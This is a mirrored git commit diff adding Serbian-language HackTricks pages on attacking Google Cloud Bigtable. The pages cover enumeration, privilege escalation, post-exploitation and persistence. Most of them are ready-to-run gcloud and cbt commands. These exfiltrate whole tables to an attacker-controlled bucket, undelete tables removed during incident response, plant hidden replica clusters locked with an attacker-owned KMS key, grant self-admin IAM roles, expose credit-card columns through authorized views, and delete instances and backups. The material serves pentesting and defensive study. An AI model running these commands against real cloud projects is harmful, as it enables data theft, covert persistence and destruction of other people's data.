mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable Perzistencija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Za više informacija o Bigtable pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Posvećeni App Profile za napadača
|
||||
|
||||
**Dozvole:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Kreirajte app profile koji usmerava saobraćaj ka vašem klasteru replika i omogućite Data Boost, tako da ne zavisite od dodeljenih čvorova koje odbrambeni tim može primetiti.
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Sve dok taj profil postoji, možete se ponovo povezati koristeći nove kredencijale koji ga referenciraju.
|
||||
|
||||
### Održavajte sopstveni replika klaster
|
||||
|
||||
**Dozvole:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Postavite klaster sa minimalnim brojem čvorova u mirnoj regiji. Čak i ako vaši identiteti klijenata nestanu, **klaster čuva punu kopiju svake tabele** dok ga odbrambeni tim eksplicitno ne ukloni.
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Pratite ga pomoću `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` kako biste mogli odmah povećati kapacitet kada treba da preuzmete podatke.
|
||||
|
||||
### Zaključajte replikaciju iza sopstvenog CMEK-a
|
||||
|
||||
**Dozvole:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
Koristite sopstveni KMS ključ prilikom podizanja klona. Bez tog ključa, Google ne može ponovo kreirati ili fail over klaster, pa blue teams moraju da se koordiniraju s vama pre nego što ga dodirnu.
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Rotirajte ili onemogućite ključ u svom projektu da odmah brick-ujete repliku (a da je ipak kasnije možete ponovo uključiti).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,250 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Za više informacija o Bigtable pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Instalirajte `cbt` CLI jednom putem Cloud SDK-a kako bi naredbe ispod radile lokalno:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### Čitanje redova
|
||||
|
||||
**Dozvole:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` dolazi uz Cloud SDK i komunicira sa admin/data APIs bez potrebe za bilo kakvim middleware-om. Usmerite ga na kompromitovani projekat/instancu i pročitajte redove direktno iz tabele. Ograničite skeniranje ako vam treba samo brz pregled.
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### Pisanje redova
|
||||
|
||||
**Dozvole:** `bigtable.tables.mutateRows`, (trebaće vam `bigtable.tables.readRows` da potvrdite promenu).
|
||||
|
||||
Koristite isti alat za upsert proizvoljnih ćelija. Ovo je najbrži način da ubacite backdoor u konfiguracije, postavite web shells ili ubacite zatrovane redove dataseta.
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` prihvata sirove bajtove preko sintakse `@/path`, tako da možete poslati kompajlirane payloads ili serijalizovane protobufs tačno onako kako downstream services očekuju.
|
||||
|
||||
### Izvezite redove u svoj bucket
|
||||
|
||||
**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Moguće je eksfiltrirati sadržaj cele tabele u bucket koji kontroliše napadač pokretanjem Dataflow job-a koji streamuje redove u GCS bucket koji vi kontrolišete.
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da će vam biti potrebna dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola za izvođenje eksporta (po defaultu, ukoliko nije drugačije naznačeno, koristiće se podrazumevani compute SA).
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> Prebacite template na `Cloud_Bigtable_to_GCS_Parquet` ili `Cloud_Bigtable_to_GCS_SequenceFile` ako želite Parquet/SequenceFile izlaze umesto JSON. Dozvole su iste; menja se samo putanja template-a.
|
||||
|
||||
### Uvoz redova
|
||||
|
||||
**Dozvole:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Moguće je uvesti sadržaj cele tabele iz bucketa koji napadač kontroliše pokretanjem Dataflow job-a koji strimuje redove u GCS bucket koji vi kontrolišete. Za ovo napadač će prvo morati da kreira parquet fajl sa podacima koji treba da budu uvezeni, u očekivanoj šemi. Napadač bi mogao prvo da izveze podatke u parquet formatu prateći prethodnu tehniku sa podešavanjem `Cloud_Bigtable_to_GCS_Parquet` i doda nove unose u preuzeti parquet fajl
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da će vam trebati dozvola `iam.serviceAccounts.actAs` nad nekim SA koji ima dovoljno dozvola da izvrši izvoz (po podrazumevanju, ukoliko nije drugačije naznačeno, biće korišćen podrazumevani compute SA).
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### Vraćanje rezervnih kopija
|
||||
|
||||
**Dozvole:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Napadač sa ovim dozvolama može vratiti rezervnu kopiju u novu tabelu pod svojom kontrolom kako bi povratio stare osetljive podatke.
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### Vraćanje izbrisanih tabela
|
||||
|
||||
**Dozvole:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable podržava soft-deletion sa periodom milosti (obično 7 dana po defaultu). Tokom ovog perioda, napadač koji ima dozvolu `bigtable.tables.undelete` može da obnovi nedavno izbrisanu tabelu i povrati sve njene podatke, potencijalno pristupajući osetljivim informacijama za koje se verovalo da su uništene.
|
||||
|
||||
Ovo je posebno korisno za:
|
||||
- Oporavak podataka iz tabela koje su odbrambeni timovi izbrisali tokom incident response
|
||||
- Pristup istorijskim podacima koji su namerno obrisani
|
||||
- Poništavanje slučajnih ili zlonamernih brisanja radi održavanja persistence
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Operacija undelete radi samo unutar konfigurisane periode zadržavanja (podrazumevano 7 dana). Nakon isteka tog roka, tabela i njeni podaci su trajno obrisani i ne mogu se povratiti ovom metodom.
|
||||
|
||||
|
||||
### Kreirajte ovlašćene prikaze
|
||||
|
||||
**Dozvole:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Ovlašćeni prikazi vam omogućavaju da prikažete selektovan podskup tabele. Umesto da poštujete princip najmanjih privilegija, koristite ih da objavite **tačno one skupove osetljivih kolona/redova** za koje vam je stalo i da whitelist-ujete sopstveni principal.
|
||||
|
||||
> [!WARNING]
|
||||
> Stvar je u tome da da biste kreirali ovlašćeni prikaz takođe morate moći da čitate i mutirate redove u osnovnoj tabeli, dakle ne dobijate nikakvu dodatnu dozvolu — zbog toga je ova tehnika uglavnom beskorisna.
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Pošto je pristup ograničen na Authorized View, odbrambeni timovi često previđaju činjenicu da ste upravo kreirali novu krajnju tačku visoke osetljivosti.
|
||||
|
||||
### Čitanje Authorized Views
|
||||
|
||||
**Dozvole:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Ako imate pristup Authorized View, možete čitati podatke iz njega koristeći Bigtable klijentske biblioteke tako što ćete u zahtevima za čitanje navesti ime Authorized View. Imajte na umu da će Authorized View verovatno ograničiti šta vam je dostupno u tabeli. U nastavku je primer koji koristi Python:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**Dozvole:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Bilo koja od Bigtable dozvola za brisanje može biti iskorišćena za denial of service napade. Napadač sa tim dozvolama može ometati rad brisanjem kritičnih Bigtable resursa:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Brisanje aplikacionih profila, što prekida klijentske konekcije i konfiguracije rutiranja
|
||||
- **`bigtable.authorizedViews.delete`**: Uklanjanje autorizovanih prikaza, čime se onemogućavaju legitimni putevi pristupa za aplikacije
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Uklanjanje veza tagova iz autorizovanih prikaza
|
||||
- **`bigtable.backups.delete`**: Uništavanje snapshot-ova rezervnih kopija, čime se uklanjaju opcije za oporavak od katastrofa
|
||||
- **`bigtable.clusters.delete`**: Brisanje čitavih klastera, što dovodi do trenutne nedostupnosti podataka
|
||||
- **`bigtable.instances.delete`**: Uklanjanje kompletnih Bigtable instanci, brišući sve tabele i konfiguracije
|
||||
- **`bigtable.tables.delete`**: Brisanje pojedinačnih tabela, što uzrokuje gubitak podataka i padove aplikacija
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Operacije brisanja su često trenutne i nepovratne. Pre testiranja ovih komandi obavezno napravite rezervne kopije, jer mogu prouzrokovati trajni gubitak podataka i ozbiljne prekide u radu servisa.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,104 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Za više informacija o Bigtable pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Dozvole:** `bigtable.instances.setIamPolicy` (i obično `bigtable.instances.getIamPolicy` da biste pročitali trenutne bindinge).
|
||||
|
||||
Posedovanje IAM politike instance omogućava vam da sebi dodelite **`roles/bigtable.admin`** (ili bilo koju prilagođenu ulogu) koja se primenjuje na svaki klaster, tabelu, backup i ovlašćeni prikaz u instanci.
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> Ako ne možete da prikažete postojeće bindinge, sastavite novi policy dokument i primenite ga pomoću `gcloud bigtable instances set-iam-policy`, pod uslovom da sebi zadržite pristup.
|
||||
|
||||
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**Dozvole:** `bigtable.tables.setIamPolicy` (opciono `bigtable.tables.getIamPolicy`).
|
||||
|
||||
Politike instance mogu biti zaključane dok su pojedinačne tabele dodeljene drugima. Ako možete da izmenite IAM tabele, možete sebe **promovisati u vlasnika ciljnog skupa podataka** bez diranja drugih radnih opterećenja.
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Nakon što posedujete ovu dozvolu, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tehnike za više načina zloupotrebe Bigtable dozvola.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**Dozvole:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
Backup može biti vraćen u **any instance in any project** koje kontrolišete. Najpre dodelite svom identitetu pristup backupu, zatim ga vratite u sandbox u kojem imate Admin/Owner uloge.
|
||||
|
||||
Ako imate dozvolu `bigtable.backups.setIamPolicy`, možete sebi dodeliti dozvolu `bigtable.backups.restore` da vratite stare backup-e i pokušate pristupiti osetljivim informacijama.
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
Nakon dobijanja ove dozvole, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) kako da obnovite backup.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views su namenjene da cenzurišu (maskiraju) redove/kolone. Izmena ili brisanje istih uklanja fino podešene zaštitne mehanizme na koje se odbrambeni tim oslanja.
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to read from an authorized view.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**Dozvole:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
Napadač sa ovom dozvolom može sebi dodeliti pristup Authorized View, koji može sadržati osetljive podatke do kojih inače ne bi imao pristup.
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
Nakon što uradite ovu proveru dozvola u [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) da biste proverili kako čitati iz autorizovanog prikaza.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,9 +2,70 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
Potpuno upravljana, skalabilna NoSQL baza podataka za velike analitičke i operativne radne opterećenja sa dostupnošću do 99.999%. [Learn more](https://cloud.google.com/bigtable).
|
||||
Google Cloud Bigtable je u potpunosti upravljana, skalabilna NoSQL baza podataka dizajnirana za aplikacije kojima su potrebni izuzetno visoka propusnost i niska latencija. Napravljena je da rukuje ogromnim količinama podataka — petabajtima preko hiljada čvorova — istovremeno obezbeđujući brze performanse čitanja i pisanja. Bigtable je idealan za radne opterećenja kao što su time-series podaci, IoT telemetrija, finansijska analitika, mehanizmi personalizacije i operativne baze podataka velikih razmera. Koristi retku, distribuiranu, višedimenzionalnu sortiranu mapu kao osnovni model skladištenja, što ga čini efikasnim za skladištenje širokih tabela gde mnoge kolone mogu biti prazne. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### Hijerarhija
|
||||
|
||||
1. **Bigtable Instance**
|
||||
|
||||
Bigtable instance je vrhovni (top-level) resurs koji kreirate.
|
||||
Sam po sebi ne skladišti podatke — posmatrajte ga kao logički kontejner koji grupiše vaše klastere i tabele.
|
||||
|
||||
Postoje dve vrste instanci:
|
||||
|
||||
- Development instance (single-node, cheap, not for production)
|
||||
- Production instance (can have multiple clusters)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
Klaster sadrži stvarne računarske i skladišne resurse koji se koriste za serviranje podataka iz Bigtable-a.
|
||||
|
||||
- Svaki klaster se nalazi u jednoj regiji.
|
||||
- Sastoji se od čvorova, koji obezbeđuju CPU, RAM i mrežni kapacitet.
|
||||
- Možete kreirati multi-cluster instance radi visoke dostupnosti ili globalnih čitanja/pisanja.
|
||||
- Podaci se automatski replikuju između klastera u istoj instanci.
|
||||
|
||||
Važno:
|
||||
- Tabele pripadaju instanci, a ne konkretnom klasteru.
|
||||
- Klasteri jednostavno obezbeđuju resurse za posluživanje podataka.
|
||||
|
||||
3. **Tables**
|
||||
|
||||
Tabela u Bigtable-u je slična tabeli u NoSQL bazama podataka:
|
||||
|
||||
- Podaci se čuvaju u redovima, identifikovanim row key-jem.
|
||||
- Svaki red sadrži column families, koje sadrže kolone.
|
||||
- Struktura je retka: prazne ćelije ne zauzimaju prostor.
|
||||
- Bigtable čuva podatke sortirane leksikografski po row key-ju.
|
||||
|
||||
Tabele su dostupne preko svih klastera u instanci.
|
||||
|
||||
4. **Tablets (and Hot Tablets)**
|
||||
|
||||
Bigtable deli svaku tabelu u horizontalne particije koje se zovu tablets. Tablet je:
|
||||
|
||||
- Kontiguirani opseg row key-eva.
|
||||
- Smešten na jednom čvoru u datom trenutku.
|
||||
- Tablets se automatski dele, spajaju i pomeraju od strane Bigtable-a.
|
||||
|
||||
Do pojave hot tableta dolazi kada:
|
||||
|
||||
- Previše čitanja ili pisanja cilja isti opseg row-key-eva (isti tablet).
|
||||
- Taj konkretni tablet/čvor postane preopterećen.
|
||||
- To dovodi do hotspots-a (uska grla u performansama).
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
Authorized views omogućavaju kreiranje podskupa podataka iz tabele koji se može podeliti sa određenim korisnicima ili aplikacijama bez davanja pristupa celoj tabeli. Ovo je korisno za:
|
||||
|
||||
- Ograničavanje pristupa osetljivim podacima.
|
||||
- Obezbeđivanje read-only pristupa specifičnim kolonama ili redovima.
|
||||
|
||||
6. **App Profiles**
|
||||
|
||||
App profile u Bigtable-u je konfiguracija koja definiše kako određena aplikacija ili klijent treba da komunicira sa Bigtable instancom, posebno u okruženjima sa više klastera. Kontroliše ponašanje rutiranja — da li zahtev treba biti usmeren ka jednom klasteru ili raspodeljen preko više klastera radi visoke dostupnosti — i upravlja kako se pisanja repliciraju, birajući između sinhronog (jača konzistentnost) ili asinhronog (niža latencija) režima.
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Povišenje privilegija
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post-eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Održavanje pristupa
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user